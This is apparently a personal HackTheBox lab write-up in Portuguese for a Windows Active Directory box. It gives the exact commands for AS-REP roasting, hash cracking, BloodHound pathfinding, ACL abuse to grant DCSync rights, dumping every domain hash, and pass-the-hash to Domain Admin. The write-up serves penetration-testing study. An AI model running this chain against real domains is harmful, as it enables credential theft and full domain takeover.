Informações da Box
| Plataforma | HackTheBox |
| Dificuldade | Easy |
| SO | Windows Server 2016 |
| Técnicas Principais | AS-REP Roasting, BloodHound, WriteDACL Abuse, DCSync |
Resumo do Caminho de Ataque
SMB null session -> enumerou 31 usuários -> AS-REP Roast no svc-alfresco (sem creds) -> crackou o hash -> BloodHound mostrou caminho por Account Operators -> Exchange Windows Permissions -> WriteDACL no domínio -> concedeu direitos de DCSync -> dumpou todos os hashes -> Pass-the-Hash -> Domain Admin.
Segunda box AD. Primeira vez usando AS-REP Roasting, caminhos de ataque do BloodHound, ACL abuse e DCSync.
Enumeração
echo "10.129.95.210 forest.htb.local htb.local forest" | sudo tee -a /etc/hosts
# Lição: Adicione FQDN, domínio e hostname — ferramentas diferentes usam nomes diferentes
SMB — Enumeração de Usuários
nxc smb $ip -u '' -p '' --users
# Encontrou 31 usuários. Usuários chave: sebastien, lucinda, svc-alfresco, andy, mark, santi
# Salvei usuários reais em valid_users.txt
Foothold — AS-REP Roasting (Sem Creds)
impacket-GetNPUsers htb.local/ -dc-ip $ip -usersfile valid_users.txt -format hashcat -outputfile asrep.txt
# svc-alfresco tem "Do not require Kerberos pre-authentication" = TRUE
# Pegou hash AS-REP de graça — nenhuma credencial necessária
Cracking
# DICA: Use aspas simples ao salvar hashes — aspas duplas corrompem caracteres $!
hashcat -m 18200 -a 0 alfresco.hash /usr/share/wordlists/rockyou.txt
# Crackou: s3rvice
Primeiras creds: svc-alfresco:s3rvice
BloodHound — Encontrando o Caminho de Ataque
bloodhound-python -u 'svc-alfresco' -p 's3rvice' -ns $ip -d htb.local -c All
Pathfinding do BloodHound de SVC-ALFRESCO -> DOMAIN ADMINS mostrou:
svc-alfresco -> Service Accounts -> Privileged IT Accounts -> Account Operators
-> GenericAll sobre Exchange Windows Permissions
-> WriteDACL sobre domínio HTB.LOCAL
-> Pode conceder direitos de DCSync -> Dumpar todos os hashes
Sem BloodHound nunca acharia esse caminho manualmente. São 5 grupos nested de profundidade. É por isso que BloodHound importa.
Escalação de Privilégios — Chain de ACL Abuse
Passo 1: Se adicionar ao grupo Exchange Windows Permissions
net rpc group addmem "Exchange Windows Permissions" "svc-alfresco" -U 'htb.local/svc-alfresco%s3rvice' -S $ip
Passo 2: Pegar shell via evil-winrm
evil-winrm -i $ip -u 'svc-alfresco' -p 's3rvice'
# Funcionalidades do evil-winrm: upload, download, ambiente PowerShell completo
Passo 3: Upload do PowerView e concessão de direitos DCSync
upload /usr/share/windows-resources/powersploit/Recon/PowerView.ps1
. .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity svc-alfresco -Rights DCSync
Passo 4: DCSync — dumpar todos os hashes do domínio
impacket-secretsdump htb.local/svc-alfresco:'s3rvice'@$ip
# Pegou hash NTLM do Administrator
Passo 5: Pass-the-Hash
evil-winrm -i $ip -u 'Administrator' -H '<NTLM_HASH>'
Feito.
Credenciais
| Usuário | Senha/Hash | Origem | Escopo |
|---|---|---|---|
| svc-alfresco | s3rvice | AS-REP Roasting | Domain user |
| Administrator | NTLM hash | DCSync | Domain Admin |
O que Aprendi
AS-REP Roasting — svc-alfresco tinha pre-auth desabilitado. Pegou o hash de graça sem nenhuma credencial. Isso deve ser checado antes de brute-force.
BloodHound é inegociável em AD. O caminho por 5 grupos nested até WriteDACL é invisível sem ele.
Chain de ACL Abuse: GenericAll sobre um grupo = se adicionar. WriteDACL sobre domínio = conceder qualquer permissão pra si mesmo. DCSync = dumpar todo hash do domínio.
evil-winrm é rei pra pós-exploração AD. Upload/download de arquivos, rodar scripts PowerShell direto. Sempre use quando a porta 5985 tiver aberta.
Corrupção de arquivo de hash — ao salvar hashes com echo, use ASPAS SIMPLES: echo '$hash' > file.txt. Aspas duplas fazem o bash interpretar caracteres $ e corromper o hash. Perdi tempo nisso.
Padrão: “AS-REP Roast primeiro (sem creds), BloodHound segundo (achar o caminho), ACL abuse terceiro (seguir o caminho).”